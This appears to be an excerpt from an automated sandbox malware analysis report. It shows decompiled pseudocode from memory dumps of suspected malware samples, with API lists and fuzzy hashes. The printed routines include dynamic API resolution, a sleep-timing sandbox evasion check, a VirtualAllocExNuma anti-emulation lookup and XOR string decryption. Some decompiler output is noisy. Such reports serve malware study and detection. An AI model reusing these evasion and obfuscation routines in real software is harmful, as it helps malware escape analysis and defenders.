				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t39);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c12
0x00402c12
0x00402c12
0x00402c12
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction ID: 69eb8ccb3173368d7466cfbebad6b250e745b2528687b1428edbefbc5d99c229
Opcode Fuzzy Hash: 591edc4c612f48173f805103314d01a2d3c18d9f074296c9ecf59b10e61bd19b
Instruction Fuzzy Hash: 5001DE20518105FAFF01A6528F5A97E75699F01348F24007BAD42B52E2DBBD8F16AA2F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C16, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00402C16(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t33 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t33,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L6:
						_t38 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t38);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t38);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t35 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t35, __fp0);
							_t36 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t36, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L6;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c16
0x00402c16
0x00402c16
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000010.00000002.415120845.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F805.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction ID: 22f91f3ad527b43ded7c43fe05e3e31a54a2160e6f7bd47ea20a36d237ffec38
Opcode Fuzzy Hash: b8375172ab2dc3a157800504cc046cabc4f04a32f5874d07e2e57d920b258b3e
Instruction Fuzzy Hash: 4401CC20518105F9FF01B7628F1A9BE75699F00348F24007BBC41B52E6DBBD8F15AA2E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DF48, Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040DF6E

Part of subcall function 0040DD93: __fltout2.LIBCMT ref: 0040DDBF

__cftog_l.LIBCMT ref: 0040DF94
__cftoe_l.LIBCMT ref: 0040DFC6

Memory Dump Source

Source File: 00000010.00000002.415147527.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_F805.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 371dcc409b8a9c37bc45af426a8add198d970d59fd773847fc00fd30e5f9ded3
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 7B11803280014EBBCF125EC4CC41CEE3F22BF19354B198426FA1968171C23AC9B5AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B50.exe PID: 5760 Parent PID: 3352 B50.exeCOMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	56.4%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 0040C2E0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x750bc8
					_t30 =  *0x41aa64; // 0x74df0000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x750d60
					_t8 =  *0x41aa64; // 0x74df0000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x750dc0
					_t41 =  *0x41aa64; // 0x74df0000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x74ec60
					_t32 =  *0x41aa64; // 0x74df0000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x74a7d8
					_t13 =  *0x41aa64; // 0x74df0000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x750cb8
					_t43 =  *0x41aa64; // 0x74df0000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x750b68
					_t34 =  *0x41aa64; // 0x74df0000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x750d00
					_t18 =  *0x41aa64; // 0x74df0000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x750cd0
					_t45 =  *0x41aa64; // 0x74df0000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x750be0
					_t36 =  *0x41aa64; // 0x74df0000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x74a818
					_t23 =  *0x41aa64; // 0x74df0000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x74a838
					_t47 =  *0x41aa64; // 0x74df0000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x74df0000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x750b80
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x750c70
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x750b08
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x74a8f8
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,00750DC0), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,0074EC60), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,0074A7D8), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,00750CB8), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,00750B68), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,00750D00), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,00750CD0), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,00750BE0), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,0074A818), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,0074A838), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00750B80,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00750C70,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,00750B08), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,0074A8F8), ref: 0040C489

Strings

`t, xrefs: 0040C33D
`u, xrefs: 0040C30A
VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma$`u$`t
API String ID: 2238633743-2944545638
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
